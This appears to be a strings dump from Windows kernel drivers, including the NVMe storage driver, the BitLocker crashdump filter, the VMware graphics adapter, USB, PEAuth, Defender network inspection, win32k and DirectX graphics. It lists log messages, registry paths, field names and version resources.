required Controller Panic, Sanitize required Controller Panic, Unknown Device Action! Post Recovery Action Recovery Action Panic Id-High Panic Id-Low Get processor group information failed Controller Reset failed due to surprise remove Controller Reset failed FLR reset failed Bus specific reset failed Platform level reset failed Invalid device state Rel. Write Lat. Rel. Write Thpt Rel. Read Lat. Rel. Read Thpt Exit Lat. (us) Entry Lat. (us) Non-Operational Max Power (uW) NVMe Power State Get Sanitize Log Page Failed Sanitize Recover Command Failed Status NVMe Insufficient Resource to schedule WorkItem StatusCode StatusCodeType Telemetry Log Header Telemetry Log SlotCount UpgradeSupport Size Version BufferLength Firmware GetInfo ReturnCode Firmware Download Complete SGLBuilt MAXSGLEntries BufferSize Firmware Download Firmware Activate Complete Flags SlotToActivate Firmware Activate NVMeDataTypeLogPageEx protocol query request for non-vendor-specific log page identifier Invalid log page identifier in protocol query request Protocol query request contains unsupported OT for log page offset Invalid buffer length for log page in protocol query request Adapter protocol query log page request specified invalid NSID Namespace protocol query log page request cannot specify NSID Protocol query log page request specifies transfer length larger than buffer BufferOffset Function SrbBufferLen Firmware Ioctl TotalStreamCount OpenStreamCount MaxOpenStreams AllocStreamCount StreamSizeBytes OptWrSizeBytes Namespace Success Streams Init CreateStatus SQID CQID RCQCount RSQCount CQCount SQCount AllocResQCount Reserved Queue Create Reserved Submission Queue deletion failed Reserved Completion Queue deletion failed DeleteStatus Reserved Queue Delete ControllerFlags ActiveNSIDListStatus MaxActiveNSIDInNSIDList MaxActiveNSID MNAN ActiveNSCountInNSIDList ActiveNSCount Identify namespace Controller Get-Feature Namespace Metadata Failed NamespaceId NVMe ignore preferred values NVMe disable preferred value check Min NOWS bytes NOWS NVMe NOWS too small DataInconsistent TelemetryLength NVMe controller initiated telemetry failed Enabled Set NOPPME setting Controller Panic, In panic reset workflow Controller Panic Reset failed Change List Index 0 Change List is Empty NVMe Namespace Change List NVMe Ctlr Telemetry Log Page NVMe GetLogPage Failure Fallback LogPageSize LogPageId EventInfo EventType NVMe Async Event-Error Status NVMe Async Event-Health Status NVMe Async Event-Namespace Change NVMe Async Event-Firmware Activate Start NVMe Async Event-Telemetry Log Changed NVMe Async Event-Zone Descriptor Changed NVMe Async Event-Reservation Notification NVMe Async Event- Sanitize Completed NVMe Async Event-Device Panic MFND Child Controller Async Event NVMe Async Event-Vendor Specific Controller State NVMe Async Event-Failed Issue Async Cmd Fail Count NVMe Issue Async Event Failed NVMe Issue Async Event Issued DSPEC DTYPE DOPER NUMD Directive Send Fail Directive Recv Fail PRP2 PRP1 MPTR NSID PSDT FUSE Admin Command NVM Command Identify DPTR CDW11 Get Features CDW15 CDW14 CDW13 CDW12 CDW10 Set Features LPOU LPOL NUMDU NUMDL Get Log Page QSIZE Create IO CQ Priority Create IO SQ Length SECP SPSP Security Send Security Receive OFST FW Download FW Commit MSET LBAF Format NVM Directive Receive Directive Send General Admin Dataset Mgmt LBAHIGH LBALOW General NVM Complete Status Status.SCT Status.SC Admin Command Completion NVM Command Completion Volatile Backup Device Failure Read Only Mode NVM Reliability Degraded Temperature Threshold Spare Below Threshold CriticalWarning Health Status-Critical Warning Endurance Threshold Limit Percentage Used Health Status-Endurance Warning Available Spare Threshold Limit Available Spare Health Status-Available Spare Warning Available Log Page Count Log Page Count Log Page Type Namespace ID Reservation Notification Log Page Version Number of Log Entries Process MFND CC Event Fail Sanitize Start Recover Failed CryptoEraseOp Est (s) BlockEraseOp Est (s) CrptErase Est +MediaDeallc (s) BlkErase Est +MediaDeallc (s) Global Data Erased Sanitize Progress (of 65535) Sanitize Command CDW10 Sanitize Operation Status Sanitize Completed CQId SQId NVMe Invalid Command Id MessageId Admin CQ Admin SQ Admin QID Timeout on Interrupt Fail Srb in slot Is AdminCommand SubmissionQueue Not Admin Cmd or Queue ControllerStatus ThrottledInstanceCount TimeSoFarInMicroSeconds CmdInfo Admin Command Timeout Admin Command Error Throttled Instance Count NVMe Flush Error NVMe Read Error NVMe Write Error Directive Send/Receive Error Security Send/Receive Error NVMe Firmware Commit Error NVMe Firmware Download Error Format NVM Error ControllerConfiguration Controller Error Previous List Index 0 Previous List is Empty NVMe Namespace Change List Failure Pool Fail Count DmaBuffer Fail Count Insufficient Resource Stor Status OutstandingIo Wait for IO Timeout nsid status Rescan Timeout DmaBuffer Failed Reenumeration Resource Fail Context Resource Fail WorkItem Fail Count Queue WorkItem Failed VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft NVM Express Storport Miniport Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName stornvme.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename stornvme.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation \Callback\SoftRestart OsvKsrAllow System\CurrentControlSet\Policies\Microsoft\FVE \Registry\Machine\ VS_VERSION_INFO StringFileInfo 000004B0 CompanyName Microsoft Corporation FileDescription Bitlocker Drive Encryption Crashdump Filter FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName dumpfve.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename dumpfve.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation RtlQueryRegistryValuesEx OpenGLDriverName OpenGLDriverNameWoW MSOGL DriverVersion Flags Version PCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00 \MSOGL NtQuerySystemInformation KeQueryInterruptTimePrecise VM3DEngineInternal ZwQueryInformationProcess VidPNSource \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers \Registry\Machine\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\OpenGLDrivers HardwareInformation.ChipType VMware Virtual SVGA 3D Graphics Adapter HardwareInformation.DacType HardwareInformation.MemorySize HardwareInformation.AdapterString VMware SVGA 3D HardwareInformation.BiosString ActiveMonitors Flags Width Height \Device\DxgKrnl \Registry\Machine\System\CurrentControlSet\Services\DXGKrnl PROCESS_SG_LIST_CALLBACK ISRDPC MAPDPC SIMULATEDPC HCINTDPC IOCDPC DONEDPC USBROOT(0) RtlQueryRegistryValuesEx CommonBuffer2GBLimit ForceHCResetOnResume FastResumeEnable DetectedLegacyBIOS TotalBusBandwidth HCRESETDPC SURPRISEREMOVEDPC HcFlavor CHcDisableAllSelectiveSuspend \DosDevices\HCD0 DisableSelectiveSuspend DisableCcDetect EnPMDebug ForceHcD3NoWakeArm PUT_SGLIST IOCDPC_IO_COMPLETE_REQUEST BUILD_SGLIST d\Device\USBFDO- \Device\USBPDO- DsPciConfigSpace ACPI USB\ROOT_HUB20&VIDnnnn USB\ROOT_HUB&VIDnnnn &PIDnnnn &REVnnnn USB\ROOT_HUB20 USB\ROOT_HUB SymbolicName RHINTREP PROCESS_URB IoGetActivityIdIrp ASYNCTIMERDPC EnableDCA ForcePortsHighSpeed IoTryQueueWorkItem ExAllocateTimer ExDeleteTimer ExSetTimer ExCancelTimer WdfDriverCreate WdfControlDeviceInitAllocate PEAuthDeviceAdd \Device\PEAuth \DosDevices\PEAuth D:P(A;;GA;;;WD)(A;;GA;;;AC)(A;;GA;;;S-1-15-3-1024-1692970155-4054893335-185714091-3362601943-3526593181-1159816984-2199008581-497492991) \Registry\Machine\System\CurrentControlSet\Services\PEAuth Options DataPath \??\ \DebCred.bin D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\PEAUTH IoCreateDeviceSecure IoValidateDeviceIoControlAccess Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} SeConvertStringSecurityDescriptorToSecurityDescriptor \Callback\WdProcessNotificationCallback \Callback\WdNriNotificationCallback PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister Sending custom content on flow Custom UDP content is not supported Service requested a sync reinjection but traffic queue is empty Flow context not found on reinjection. Connection id: Removing contexts for flow id WFP callout destruction started Failed to remove flow context Failed to write stream data into IRP Transport delete, flow id Stream delete, flow id Shared ptr remaining refs Removed from active flows, flow id Stream Handler Queue Allocation at Max! removing contexts Stream Handler Queue Length at Max, removing contexts! Streams Stream Handler Queue Allocation is unrecoverable!! Aborting flow!! Bytes Stream Handler Queue Length is unrecoverable!! Aborting flow!! Streams Failed to queue connection_aborted message Stream Handler Queue Allocation at maximum Stream Handler Queue Length at maximum Drop TCP packet Go async on flow Associated flow id Stream Handler Queue Allocation critical! Bytes Stream Handler Queue Length critical! Streams \??\wdnisdrv \Device\wdnisdrv Setting URO flag on WFP callout config Setting USO flag on WFP callout config Suppressing error code when removing context on flow id Failed to remove context for flow id TCP packet did not have TCP metadata UDP packet did not have UDP metadata windefend windefend_stream_v4 windefend_stream_v6 windefend_flow_established_v4 windefend_flow_established_v6 windefend_datagram_v4 windefend_datagram_v6 windefend_outbound_transport_v4 windefend_outbound_transport_v6 windefend_inbound_transport_v4 windefend_inbound_transport_v6 windefend_auth_connect_v4 windefend_auth_connect_v6 windefend_resource_assignment_v4 windefend_resource_assignment_v6 NULL API- EXT- \Registry\Machine\Hardware\DeviceMap\Video \Registry\Machine\System\CurrentControlSet \CONTROL\ \Control\UnitedVideo \Registry\Machine\System\CurrentControlSet\Control\Terminal Server\Video\ vgastub \SERVICES \Device\Video0 \Hardware Profiles\Current\System\CurrentControlSet Hmgr GreLock DynamicModeChange DCVisRgn VisRgnUniqueness DriverMgmt MapRot VisRgnPublish MultiUserEngAllocListLock DwmState PruningMode \Control\Class\ %ws\Monitor%d DefaultSettings.BitsPerPel DefaultSettings.XResolution DefaultSettings.YResolution DefaultSettings.VRefresh DefaultSettings.Flags DefaultSettings.XPanning DefaultSettings.YPanning DefaultSettings.Orientation DefaultSettings.FixedOutput Attach.RelativeX Attach.RelativeY Attach.ToDesktop DefaultSettings.DriverExtra Sprite DevLock Pointer GreLKD Kernel-OneCore-DeviceFamilyID ydQ@1$ $1@Qdy stbv128.dll \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows GDICaptureStackTraceForObjectType GDIEnableReferenceStackTraces GDIProcessHandleQuota SetInputSink \Device\%s%d MaxObjectNumber VIDEO \Device\Disc \\.\DISPLAY%d \Device\Video%d \\.\DISPLAYV%d \REGISTRY\Machine\System\CurrentControlSet\Services\TSDDD\Device0 \Video DeviceDesc Driver Window Manager WinDisc RDPUDD Chained DD Settings DriverDesc InstalledDisplayDrivers MultiDisplayDriver MirrorDriver AccDriver Device Description HardwareInformation.AdapterString HardwareInformation.ChipType TSCompatible \Registry\Machine\ Software\Policies\Microsoft\Windows\ Remote\ %ld\ DesktopHeapLogging Scancode Map Ex Scancode Map Locale DelayBeforeAcceptance AutoRepeatRate FSTextEffect BounceTime AutoRepeatDelay WindowsEffect Flags TimeToWait TimeToMaximumSpeed MaximumSpeed High Contrast Scheme UControl Panel\ UControl Panel\Accessibility\ MSoftware\Microsoft\Windows NT\CurrentVersion\ USoftware\Microsoft\Windows NT\CurrentVersion\ MSystem\CurrentControlSet\Control\ MSystem\CurrentControlSet\Services\ UKeyboard Layout\ MSystem\ MSoftware\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ MSoftware\Microsoft\Windows\CurrentVersion\ MSoftware\Microsoft\Windows\CurrentVersion\Policies\System\ Colors Cursors Desktop Icons Fonts TrueType Keyboard Layout Session Manager\SubSystems Sound Mouse Keyboard StickyKeys Keyboard Response MouseKeys ToggleKeys TimeOut SoundSentry ShowSounds AeDebug NetworkProvider Desktop\WindowMetrics Toggle Winlogon Keyboard Preference Blind Access HighContrast IME Compatibility Session Manager\SubSystems\Pool Compatibility32 WOW\SetupPrograms Input Method Mouclass\Parameters Kbdclass\Parameters ComputerName\ComputerName Terminal Server WPA\TabletPC WPA\MediaCenter R2Setup Starter AudioDescription UIPI PriorityControl ImmersiveShell TrustedFonts Windows\Pen Console\RasterFonts Control Panel\Cursors\Default MODES EDID Mode1 RSAPUBLICBLOB SHA256 ObjectLength HashDigestLength Microsoft Primitive Provider \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad\IgnoredExternalMice Enabled \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad\LegacyDevices Microsoft-Windows-Core-THQAEnabled NULL \??\Root#RDP \Registry\Machine\SYSTEM\INPUT WakeOnInputDeviceTypes \Software\Microsoft\Windows NT\CurrentVersion\ICM\ProfileAssociations\Display\{4d36e96e-e325-11ce-bfc1-08002be10318}\ \REGISTRY\USER\ UsePerUserProfiles ICMProfileAC ICMProfile REMOTE_MONITOR_ Palette PATHALLOC_FreeList \BaseNamedObjects\CoreMessagingRegistrar \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows\Win32kWPP WORKERDD TSDDD .dll RDPUDD StdExit StdNewDocument StdOpenDocument StdEditDocument StdNewfromTemplate StdCloseDocument StdShowItem StdDoVerbItem System OLEsystem StdDocumentName Protocols Topics Formats Status EditEnvItems True False Change Save Close MSDraw CC32SubclassInfo UxSubclassInfo SysSetRedraw \SystemRoot\System32\Drivers\ \SystemRoot\System32\ \SystemRoot\System32\win32k.sys \SystemRoot\System32\win32kbase.sys \SystemRoot\System32\win32kmin.sys \SystemRoot\System32\win32kfull.sys RIM_INPUT_TYPE_HID_PTP RIM_INPUT_TYPE_TCH_CONFIG RIM_INPUT_TYPE_PTP_CONFIG RIM_INPUT_TYPE_HID_GEN RIM_INPUT_TYPE_MOUSE RIM_INPUT_TYPE_KEYBOARD Attach.PrimaryDevice \system32\ \SystemRoot ForceVirtualDesktop HasPhysicalKeys UATO AggFlags AggBitPeriod EntryCount AggPeriod imsfk CapabilityOverride MaxEntriesFlushed MinEntriesFlushed MaxEntriesStored SummaryCount NumAllocationFailures NumFlushes NumLargeEventFailures NumBucketLimitReached TotalEntriesFlushed \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Windows\Input\DelayZonePalmRejection DelayZonePalmRejectionThresholdMS DisableTimeThreshold DelayZonePalmRejectionExtensionSizeDips RejectionEnabled DisableAll GraphicsDrivers\TemporarySettingChanges GdiIcmControl \Registry\Machine\Software\Microsoft\Windows\DWM UniformSpaceDpiMode VHidPen SharedSection Windows SharedSection=,3072 LeakedPoolTag6 LeakedPoolTag1 LeakTrackingAllocatorMode LeakedPoolTag2 LeakedPoolTag7 LeakedPoolTag4 Pool EtwRegisterClassicProvider PsGetVersion WmiTraceMessage WmiQueryTraceInformation Wndobj LockQCursor HasHidTable xxxUnlockMenuState Kernel\ \Win32kSiloSessionGlobals !"#$%&'(-.jkm ImageState \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State LockEtw GRE_Initialize RawMouseThrottleDuration RawMouseThrottleEnabled RawMouseThrottleForced RawMouseThrottleLeeway AdditionalFGBoostProp \Registry\Machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\DPI Overrode \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ SpriteFillColor hotkey. WIN://DESIGN_MODE EnableUIPI D:(A;;GA;;;SY)(A;;0x001F0000;;;WD)(A;;0x001F0000;;;AC) Kernel\SystemCoreMessagingPort \Registry\User\.Default SysCompositionInputQueue MiPFlags EtwUnregister PowerWatchdogRequestQueueTimeoutMsec PowerWatchdogPoCalloutTimeoutMsec PowerWatchdogPowerOnGdiTimeoutMsec PowerWatchdogDwmSyncFlushTimeoutMsec PowerWatchdogDrvSetMonitorTimeoutMsec ServiceFilterAuditThrottleMode ServiceFilterAuditCaptureWER ServiceFilterAuditStackCacheSize \Driver\Win32k NumberOfInitialSessions \Registry\Machine\System\CurrentControlSet\Control\Session Manager \UniqueInteractiveSessionIdEvent \Registry\Machine\System\CurrentControlSet\Control\GraphicsDrivers IMAGE_STATE_SPECIALIZE_RESEAL_TO_OOBE IMAGE_STATE_COMPLETE Upgrade \Registry\Machine\SYSTEM\Setup \Windows\WindowStations \Sessions %ws\%ld%ws ConvertibleSlateMode SystemDockMode NoInteractiveServices USERProcessHandleQuota USERPostMessageLimit USERNestedWindowLimit Installed R2BuildNumber StarterBuildNumber USER32 CursorBlinkEnable Invalid Pwin32kbase.sys PenFeedbackEnabled PenInteractionFeedbackEnabled PenInkFeedbackEnabled PenFeedbackIntensity TouchpadFeedbackEnabled TouchpadFeedbackIntensity MouseFeedbackEnabled MouseFeedbackIntensity tshellExperienceComposer windowManagementSystem \systemroot\system32\win32kbase.sys Win32kLastWriteTime win32k.sys (null) Unknown rrctrl1.dll s3disp.dll rrctrl3.dll rrctrl2.dll rrctrl5.dll rrctrl4.dll rrctrl6.dll IntegratedPen ParallelNullTouch External Integrated Unexpected Value RIM_INPUT_TYPE_HID_TCH RIM_INPUT_TYPE_HID_PEN RIMFillDeviceHealthInfo Bad ScanTime minimum Failed to get max count feature details Failed to retrieve productString Failed to validate device signature coordinate range invalid coordinate usage missing Coordinate usage missing \Registry\Machine\Software\Microsoft\Wisp\ExcludedDEvices Disable \Registry\Machine\Software\Microsoft\Wisp\Pen\Digimon \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\PrecisionTouchPad\LegacyControlled \??\Microsoft Mouse RID\%u \??\Microsoft HID RID\c\%04X_%04X\%u \??\Microsoft Keyboard RID\c\%u \??\Microsoft Mouse RID\c\%u inputInjection \??\Microsoft Keyboard RID\%u CurtainLeft SpaceBarOffset CurtainBottom CurtainRight Curt PrecisionTouchpad Touch \SysWoW64\ \SysArm32\ \SystemRoot\System32\win32kns.sys IsVailContainer ControlDown ButtonDown WheelHorizontal WheelIncreasing MouseWheel EraserDown BarrelButtonDown NoHoverPointer TouchTargeting DeviceKind \Registry\Machine\Software\Microsoft\Windows\Tablet PC IsTabletPC \Registry\Machine\Software\Wow6432Node\Microsoft\Windows\Tablet PC WMsgKRpc%X%X%X ID_CAP_SCREENCAPTURE RedirectMouse screenDuplication Implicit FallbackInteraction ext-ms-win-moderncore-win32k-base-ntgdi-l1-1-0 ext-ms-win-moderncore-win32k-base-ntuser-l1-1-0 ext-ms-win-moderncore-win32k-base-sysentry-l1-1-0 \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CIT \Registry\Machine\OSDATA\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\CIT \BaseNamedObjects\[CoreMsgK]-%s TELASSERT TouchModeN_DtapTime TouchGate TouchModeN_HoldTime_Animation TouchModeN_HoldTime_BeforeAnimation TouchMode_hold Mobile_Inertia_Enabled Minimum_Velocity Thumb_Flick_Enabled PanningDisabled Inertia Bouncing Friction TouchModeN_DtapDist LeaveOnWithMouse FeedbackEnabled TapsEnabled TapAndDrag TwoFingerTapEnabled RightClickZoneEnabled HonorMouseAccelSetting PanEnabled Left_Edgy_Enabled Right_Edgy_Enabled DualPressAndHold_Enabled MultiTouchEnabled AAPThreshold CursorSpeed FeedbackIntensity ClickForceSensitivity FlickMode FlickTolerance LeftEdgyEnabled RightEdgyEnabled Left UpLeft UpRight ZoomEnabled ScrollDirection Splash DblDist DblTime TapTime WaitTime HoldTime HoldMode MouseInputResolutionX MouseInputResolutionY MouseInputFrequency EraseEnable RightMaskEnable Color Right DownRight Down DownLeft Latency SampleTime UseHWTimeStamp SguiMode \Device\vmsmb\VSMB-{dcc079ae-60ba-4d07-847c-3493609c0870}\SharedMemory$\ {%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x} \VmSharedMemory\Host\ Cap for ppPeriodicFrameNotificationStorageArray reached, returning STATUS_NO_MEMORY. Storage for periodic monitored fence notification %d is invalid Failed to allocate queue packet, returning 0x%I64x Synchronization object already has LONG_MAX reference pending, can't reference more. Invalid monitored fence 0x%I64x for paging queue 0x%p. PagingQueueFence=0x%I64x Trying to wait the fence without signal having been submitted. NULL pointer in pVidSchContext or other required pointer, returning 0x%I64x Invalid monitored fence value 0x%I64x, returning 0x%I64x NULL VIDSCH_CONTEXT pointer, returning 0x%I64x The list of monitored fence signaled interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored, and a preceding interrupt will poll the wait conditions for this interrupt. Out of Periodic Cookies, can't process DXGK_INTERRUPT_PERIODIC_MONITORED_FENCE_SIGNALED with VidPnTargetId:%d NotificationID:%d Trying to acquire mutex without corresponding signal having been submitted. Trying to acquire semaphore without corresponding signal having been submitted. Failed to signal periodic monitored fence with VidPnSourceID:%d NotificationID:%u, returning 0x%I64x Trying to wait on CpuNotification. Driver reports out of range layer count: pVidSchGlobal = 0x%I64x, VidPnTargetId = 0x%I64x, Reported Layers = 0x%I64x New periodic monitored fence value has the same value as the last signaled value %d Could not wait on fence array - filtered fence object storage allocation failed. Status = 0x%I64p WaitOnAllocationDmaReferences() trying to access an invalid allocation. VidMmMultiAlloc: 0x%I64X Could not wait on fence array - kernel event object creation failed. Status = 0x%I64p Failed to allocate MDL to page in sysmem allocation. pGlobalAlloc=0x%px Failing preparation due to offered allocation (Alloc: 0x%p) Failed to update a page table during 64KB-4KB transition. Status=0x%.8x Failed to allocate MDL for CHA range Failed to probe and lock allocation backing store, GlobalAllocation=0x%p, Size=%d Failed to allocate pages for the backing store Couldn't allocate memory for local alloc object. Trying to open allocation on non graphics process. Failed to allocate a backing store from the process private heap for this allocation. Size = 0xI64x, Status = 0x%I64x Failed to LockUnlock MDL range in front path. Status = 0x%I64x Failed to allocate memory for MDL range. Couldn't commit virtual memory. Status = 0x%I64x Unable to open section object 0x%I64p into handle table, Status = 0x%I64p ObInsertObject for GlobalAlloc: 0x%I64p failed with: 0x%I64x Failed to Lock second MDL range in split front / back path. PFN index in MDL is out of range for GPU (Pfn[%I64d]=%I64d) Failed to allocate memory for first MDL range. Failed to Lock first MDL range in split front / back path. Failed to probe an allocation GlobalAllocation=0x%p, Size=%d Trying to open a non-shareable allocation more than once. Trying to open Alloc backed by ExistingSysMem from non-owner's process. Failed to allocate memory for second MDL range Failed to map CPUHostAperture pages. Failed to map view of global backing store section in system space. GlobalAlloc=0x%I64x, Section=0x%I64x, Status=0x%.8x Invalid VidPnSourceId (Check 2) NULL pointer in pVidSchSyncObj, pVidSchDevice or pVidSchSubmitCommandData, returning 0x%I64x Failed to allocate VidSchSubmitData Failed to allocate VIDSCH_SYNCOBJ_PHT_DATA Failed to signal Flip fence[%d] 0x%p value 0x%I64x Underflow encountered. Couldn't allocate memory for pool block. Trying to decrement beyond 0. Couldn't open the global allocation for the DMA buffer. DMA buffer can only be allocated from an aperture segment. Couldn't allocate memory for the DMA buffer patch location list. Invalid VA range allocation size Failed to allocate a VAD Failed to allocate VIDMM_MAPPED_VA_RANGE Attempting to restore segment contents, but segments are already restored NULL pointer in pVidSchSyncObject, returning 0x%I64x Couldn't allocate memory for VIDMM_DEVICE_COMMITMENT_INFO[] array. Couldn't allocate memory for VIDMM_PHYSICAL_DEVICE[] array. Trying to open device on a non DX process. Failed to allocate memory for VIDMM_DEVICE_PAGING_QUEUE Couldn't allocate memory for VIDMM_PHYSICAL_DEVICE. Failed to allocated initial free VAD for VA allocator VidMmReserveGpuVirtualAddressRangeCb cannot be used without GpuMmu Allocation alignment (%u) must be power of two Couldn't allocate memory for the DMA buffer allocation table. BaseAddress must be aligned to the leaf page table coverage size or be zero Failed to allocate memory for Mdl. Failed to allocate fence storage page for paravirtualization Couldn't page in the new DMA buffer 0x%p. Can't create regular DMA buffer with no associated allocation list SizeInBytes must be aligned to page boundary BaseAddress must be aligned to page boundary Failed to allocate VIDMM_PAGE_TABLE_ROOT Failed to recommit virtual address ranges for the adapters: 0x%I64x. Status: 0x%I64x Failed to allocate paged memory for history buffer array Couldn't allocate memory for VidMmDevice. Creating system device failed. Adapter:0x%I64x pid_%Iu_luid_0x%08X_0x%08X_phys_%u_eng_%u_engtype_%s FlipOverrideMode GraphicsDrivers\Scheduler Invalid VidPnSourceId:0x%I64x, NumVidPnSources:0x%I64x. Returning FALSE NULL pointer in pDxgDevice or pVidSchDeviceData, returning NULL Failed to create GpuPerformanceCounterSetEngine Failed to create name string for GpuPerformanceCounterSetEngine Failed to create VidSchDevice, VidSchControlVSyncDevice returned 0x%I64x NULL pointer in pVidSchGlobal, returning FALSE Other VideoDecode VideoEncode VideoProcessing SceneAssembly Copy LegacyOverlay Crypto VideoCodec Failed to send budget change notification, error 0x%I64x NULL pointer in pDxgContext or other required pointer, returning 0x%I64x CpuEvent is invalid, returning 0x%I64x EndAddressInBytes <= StartAddressInBytes Failed to allocate memory for a page directory Failed to allocated m_pPte array Couldn't open the global allocation for the page table. ntStatus=0x%.8x Failed to allocate memory for a page table Couldn't create a global allocation for page table. ntStatus=0x%.8x Failed to allocate DXGK_PTE for PageDirectory 0x%p Failed to allocate VIDMM_PAGE_TABLE array for PageDirectory 0x%p Trying to pin an invalidated allocation 0x%I64x. Falied to insert context allocation 0x%I64x. Invalid VidPnSourceId (0x%I64x) specified, returning FALSE Failed to allocate GpuWorkRecords for long haul logging Couldn't allocate a tracking structure for a new process heap block Couldn't allocate a backing section for an allocation, Status = 0x%I64p Unable to insert section object 0x%I64p into handle table, Status = 0x%I64p Couldn't allocate virtual memory range for the block. Status 0x%08X. Couldn't map view of section to kernel space. Status = 0x%I64x Couldn't assign virtual address space for for a new process heap block NULL pointer in pVidSchDevice or pDeviceError, returning 0x%I64x The root page directory is not set. CVirtualAddressAllocator:0x%p, #GPU:%0xI64x Trying to end CPU access with invalid flags. Must specified PitchAlignedSize on allocation supported in PitchedAlign segment. Cached allocations must only support cache coherent segments on adapters which have cache coherent aperture segments available. Specified write segment set reference invalid segment. Shareable can only be used in combination with CpuVisible if the supported segment set contains exclusively aperture segments. CpuVisibleOnDemand allocations only support aperture segments. PitchAlignedSize must be greater or equal to Size. Cross adapter allocations must use only aperture segment. HardwareProtected allocations must be in segments which support VPR. m_pMutex != NULL Trying to lock a non-protected allocation in the wrong process context. Handle type mismatch An allocation specifies budget and non-budget segments in its supported segment set. NULL pointer in pVidSchDevice, returning 0x%I64x Failed to create physical allocation for global alloc 0x%I64x, VidMmGlobal=0x%I64x Failed to create page table or page directory Attempting to free invalid page range in CpuHostAperture 0x%p Failed to open process handle for process id 0x%I64x Couldn't secure the virtual memory range for the allocation. Failed to allocate temporary VIDMM_MAPPED_VA_RANGE Failed to commit VA space for the paging process. pVaAllocator=0x%p, pFailedAlloc=0x%p NULL VIDSCH_SYNC_OBJECT pointer, returning FALSE Couldn't allocate memory for paging queue. VidMmDevice 0x%I64x: Failed to allocate paging queue for VIDMM_DEVICE_PAGING_QUEUE VidMmDevice 0x%I64x: Failed to initialize Device Default Paging Queue. Returned 0x%I64x VidMmDevice 0x%I64x: Failed to create Device Default Paging Queue Monitored Fence. Returned 0x%I64x Cannot create vidschsyncobject using both SyncObjectInfo and NativeFenceInfo, returning 0x%I64x Can't initialize semaphore to larger value than specified maximum Couldn't allocate memory for adapter info array. Couldn't allocate memory process heap manager. Couldn't allocate process fence storage. Couldn't allocate our multirange pool lookaside list Couldn't initialize our extra multirange pool elements Couldn't initialize our multirange pool lookaside list. Status = 0x%I64x Couldn't allocate our shutdown event NULL pointer in pVidSchDevice or pulCurrentQueuedPresentLimit, returning 0x%I64x Referencing an non-primary allocation, rejecting it. GlobalAlloc=0x%p NULL pointer in pDxgProcess, returning NULL NULL pointer in pVidSchContext or pVidSchFlushData, returning 0x%I64x NULL pointer in pVidSchDevice or pVidSchContextData, returning NULL NULL pointer in pVidSchContext, returning 0x%I64x Failed to allocate storage page gpu data NULL pointer in pVidSchGlobal, returning 0x%I64x Attempting to read memory outside the bounds of the history buffer. TimestampsStart=%I64X, TimestampsEnd=%I64X, BytesAccessed=%d Invalid history buffer private data size. PrivateDataSize=%d The list of pending context suspend completed interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored. VidSchDevice (0x%I64x) device attempted to unpin resource in the flip queue without first presenting a new resource, returing 0x%I64x The list of pending scheduling log interrupts is full on node %d. There must be severe contention on the scheduler spin lock. This interrupt will be ignored, and a preceding interrupt will grow the scheduling log if needed. NULL pointer in pVidSchGlobal or pFlipQueueInfo, returning 0x%I64x VPRGrowRatioDenominator VPRGrowRatioNumerator VPRCapacityRatioNumerator VPRCapacityRatioDenominator Period.MinimumPolicyHeldPeriod Period.NbOfAllocationsThresholdToMRU Period.AlwaysForceMemReset Period.EvictionThresholdForMemReset PreparationPeriod Period.MaximumPolicyHeldPeriod GlobalCommitmentBudget LNL_LocalMemoryBudgetFocusTarget L_LocalMemoryBudgetFocusTarget ProcessBudgetCapBuffer MaxProcessBudgetCapBuffer VideoMemoryFragmentationBuffer EnableTrimWnfCallback MaximumTrimInterval GraphicsDrivers\MemoryManager IdleTrimInterval LNL_NonLocalMemoryBudgetDWMTarget ForegroundTrimInterval L_LocalMemoryBudgetDWMTarget CriticalPeriodicTrimThreshold LNL_LocalMemoryBudgetDWMTarget MinimumTrimInterval StartPeriodicTrimThreshold SystemMemoryFragmentationBuffer MaxVideoMemoryFragmentationBuffer LNL_NonLocalMemoryBudgetFocusTarget DisableMakeIoMmuAddressValid EnableGpuVaGuardPages PagingProcessVaSpaceBitCount AllocateGpuVaFromHighAddresses GpuVaFirstValidAddress EnableZeroFlagInPde DisableUncommitGpuVaInPagingProcess CompanionContextMaxPendingOperations MaxSegmentSize ProcessSysmemOfferPeriod PrivateHeapPackingBlockSize DmaBufferListBytesLimitAllDevices ExcessiveMemTransferFlipThreshold UseUnreset ProcessPendingOfferPeriod NbCddDmaBufferLimitPerDevice CommitProcessHeapOnDemand BugcheckOnApertureCorruption PinnedApertureMemoryLimit 